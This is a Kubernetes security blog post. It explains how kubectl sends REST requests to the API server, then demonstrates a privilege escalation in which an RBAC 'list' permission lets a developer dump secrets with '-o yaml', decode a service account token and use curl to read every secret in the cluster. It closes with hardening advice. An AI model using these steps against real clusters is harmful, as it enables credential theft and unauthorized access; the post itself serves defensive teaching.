O3 Cyber Logo
See all posts

From kubectl to Privilege Escalation: A Security Breakdown

Now that we’ve covered the core components and ways of securing both the control plane and the data plane of a Kubernetes cluster, let’s dive into what actually happens under the hood when you use kubectl, the CLI tool for interacting with Kubernetes.

6 min•Mar 11, 2025
Andreas Døhl
Andreas DøhlLead Security Engineer
Andreas Døhl

To deploy a Pod —the smallest deployable object in Kubernetes— with kubectl, we use the following command:

$ kubectl run <name of pod> —image=<name of image:tag>

Lets run a nginx pod as an example, having kubectl print out the actual json sent to the API server: 

$ kubectl run nginx —image=nginx --dry-run=client -o json

We get this in return:

{
"kind": "Pod",
"apiVersion": "v1",
"metadata": {
  "name": "nginx",
  "creationTimestamp": null,
  "labels": {
    "run": "nginx"
  }
},
"spec": {
  "containers": [
    {
      "name": "nginx",
      "image": "nginx",
      "resources": {}
    }
  ],
  "restartPolicy": "Always",
  "dnsPolicy": "ClusterFirst"
},
"status": {}
}

What many don’t realize is that kubectl is essentially a wrapper for HTTP requests It takes the commands you provide, builds an HTTP request, and sends it to the Kubernetes API server.

To demonstrate this concept more clearly, we can use curl to replicate what kubectl is doing under the hood. By using `curl`, we’re directly interacting with the API server, bypassing the need for kubectl.

I’ve put the json output from above into a file named pod.json to simplify:

$ curl -X POST \
-H "Authorization: Bearer $BEARER_TOKEN" \
-H "Content-Type: application/json" \
-d @pod.json \
https://$APISERVER:6443/api/v1/namespaces/default/pods

(Or you can authenticate with your certificates by removing the Bearer token, and adding —cert, —key and —cacert to the curl command).

Breaking Down the Request Chain

  • API Server Receives the Payload

    The API server acts as the gateway to the cluster. When it receives the JSON payload, it:

    • Authenticates your request.
    • Verifies that you’re authorized to create the object.

  • etcd Updates the Cluster State

    After authorization, the API server communicates with etcd, the stateful database of the cluster.

    • The API server tells etcd:“Hey! Listen! I have a Pod named nginx with image nginx in the default namespace. Update the clusters desired state!”
    • etcd updates its records and reports back to the API server.

  • Scheduler Finds a Node

    Next, the API server forwards the request to the kube-scheduler.

    • The scheduler scans the cluster to find a node with sufficient resources to run the pod.
    • Once a suitable node is identified, the scheduler informs the API server, which updates etcd with the node assignment.

  • kubelet Creates the Pod

    The API server then contacts the kubelet on the chosen node.

    • The kubelet is responsible for managing the Container Runtime Interface (CRI).
    • It instructs the runtime to:
      • Pull the nginx container image (if not already cached).
      • Allocate and retrieve the resources the container(s) in the pod require.

  • Pod Becomes Alive

    Once the kubelet and the container runtime have completed their tasks, the pod transitions to a "Running" state and becomes operational in the cluster.

Here is a flow chart to help you visualize the flow:

Screenshot 2025-03-11 at 16.40.45.png

Knowing that kubectl is effectively sending REST calls to your API server—and that the API server is the only real conduit to etcd and the rest of the cluster—is crucial. It’s your single control plane entry point, so all security measures funnel around it: robust authentication, tight role-based access, admission controls, audit logging, and thorough encryption.

Real world example on privilege escalation:

Lets see what happens when RBAC is incorrectly configured and a ServiceAccount token gets in the wrong hands.

A developer has read access to their own namespace called developer. When they try to access pods outside their namespace, they’re appropriately denied:

$ kubectl get pods
Error from server (Forbidden): pods is forbidden: User "andreas.dohl@o3c.io" cannot list 
resource "pods" in API group "" in the namespace "default":
 requires one of ["container.pods.list"] permission(s).

However, within their namespace, they can list pods as expected:

$ kubectl -n developer get pods
NAME                            READY   STATUS    RESTARTS   AGE
web-app-6c7fdccc4b-fpgjr        1/1     Running   0          2d5h
db-6c7fdccc4b-wt77f             1/1     Running   0          2d4h
frontend-f6f9d6dd-2xdf9         1/1     Running   0          2d4h
secret-manager-f6f9d6dd-b4v2x   1/1     Running   0          2d5h

They also have list permissions on secrets in their namespace:

`$ kubectl -n developer get secrets
NAME                                  TYPE                                  DATA   AGE
docker-image-pull                     [kubernetes.io/dockerconfigjson](http://kubernetes.io/dockerconfigjson)        1      43d
web-app-cert                          [kubernetes.io/tls](http://kubernetes.io/tls)                     3      39d
secret-manager-cluster-reader-token   [kubernetes.io/service-account-token](http://kubernetes.io/service-account-token)   3      25h`

The Problem: Misconfigured RBAC

That cluster-reader-token looks interesting. The developer attempts to read it directly but receives an error:

$ kubectl -n developer get secret secret-manager-cluster-reader-token
Error from server (Forbidden): secrets "secret-manager-cluster-reader-token" is forbidden: User "andreas.dohl@o3c.io" cannot get resource "secrets" in API group "" in the namespace "developer": requires one of ["container.secrets.get"] permission(s).

It seems like they don’t have the necessary get permission. However: the problem with this non intuitive RBAC configuration is that paired with the -output flag, we can bypass this restriction.

So by using -o (short for —output) with e.g yaml, the API server will respond with the manifests for all secrets, including the data:

$ kubectl -n developer get secrets -o yaml

apiVersion: v1
items:

- apiVersion: v1
   data:
     token: MTIzNDU=
     kind: Secret
   metadata:
     creationTimestamp: "2025-01-26T13:41:13Z"
     name: docker-image-pull
     namespace: developer
     resourceVersion: "115538981"
     uid: d964e6de-70ae-4d36-a655-cdc7adec6b6a
   type: Opaque` 

- apiVersion: v1
   data:
     token: Nzg1MTI1OTMwYjdlODIxN2RmM2JkZmMyMDlkMDBjMTVkMDY0NmI0Y2IxN2EwYjA3ZjY4NTEwNmM5NDI5NWIzYQ==
   kind: Secret
   metadata:
     creationTimestamp: "2025-01-26T13:44:19Z"
     name: secret-manager-cluster-reader-token
     namespace: developer
     resourceVersion: "115539945"
     uid: c5420ddd-2fdd-4231-8792-2584308ba04a
   type: Opaque

Since the secrets aren’t encrypted at rest, we can just do a decode of the base64 to get the cluster-reader authentication token:

$ echo 'Nzg1MTI1OTMwYjdlODIxN2RmM2JkZmMyMDlkMDBjMTVkMDY0NmI0Y2IxN2EwYjA3ZjY4NTEwNmM5NDI5NWIzYQ==' | base64 -d
785125930b7e8217df3bdfc209d00c15d0646b4cb17a0b07f685106c94295b3a

Now, by utilizing what we learned in the first part of this article, lets use curl to try and authenticate towards the API server:

`$ export CLUSTER_READER_TOKEN=”785125930b7e8217df3bdfc209d00c15d0646b4cb17a0b07f685106c94295b3a”`

`$ curl -ikl -H "Authorization: Bearer $CLUSTER_READER_TOKEN" [https://<APISERVER>/api/v1/](https://35.228.76.80/api/v1/namespaces)secrets
HTTP/2 200
audit-id: 9ad28fc4-3fc2-4f4a-444-a6d6988e56cc
cache-control: no-cache, private
content-type: application/json
content-length: 157
date: Sun, 26 Jan 2025 14:08:15 GMT`

`{
"kind": "SecretList",
"apiVersion": "v1",
"metadata": {
"resourceVersion": "115547465"
},
"items": [
(...)`

The API server is now giving me all the access the secret-manager-cluster-reader-token has, including reading all secrets in the cluster.

The Importance of Properly Configured RBAC Roles for Kubernetes Secrets Security

Kubernetes RBAC is a critical component of securing sensitive data, especially when dealing with Kubernetes Secrets. Even if etcd encryption is enabled, misconfigured RBAC roles can lead to unintended data exposure, rendering encryption ineffective in preventing unauthorized access.

A rule of thumb when configuring RBAC for Secrets is:
"If someone doesn’t need get on Secrets, they certainly don’t need list."

Granting the list permission is significantly more dangerous than get, as it allows an attacker or misconfigured service to enumerate all Secrets in the access scope, dramatically increasing the attack surface. Even though Kubernetes Secrets are Base64-encoded, decoding them is trivial, and unauthorized listing of Secrets can expose credentials, API keys, and certificates.

To minimize risk:

  • Avoid granting list unless absolutely necessary.
  • Restrict get permissions to only the specific Secrets a user or service needs.
  • Regularly audit RBAC policies to prevent privilege escalation.
  • By enforcing principle of least privilege, you significantly reduce the likelihood of unintended secret exposure, ensuring that encryption at rest is not the only line of defense.

I hope this was a valuable lesson in uncovering the backend “magic” of kubectl, and pointing out to always secure your token secrets and understand the implications of RBAC permissions. Misconfigurations can lead to privilege escalation, compromising the security of your entire cluster. Stay vigilant, encrypt sensitive data, and audit your configurations regularly.Misconfigurations can lead to privilege escalation, compromising the security of your entire cluster. Stay vigilant, encrypt sensitive data, and audit your configurations regularly.

Would you be interested in hearing more on how we can help secure your Kubernetes cluster? Have a look at our Kubernetes Security Assessment.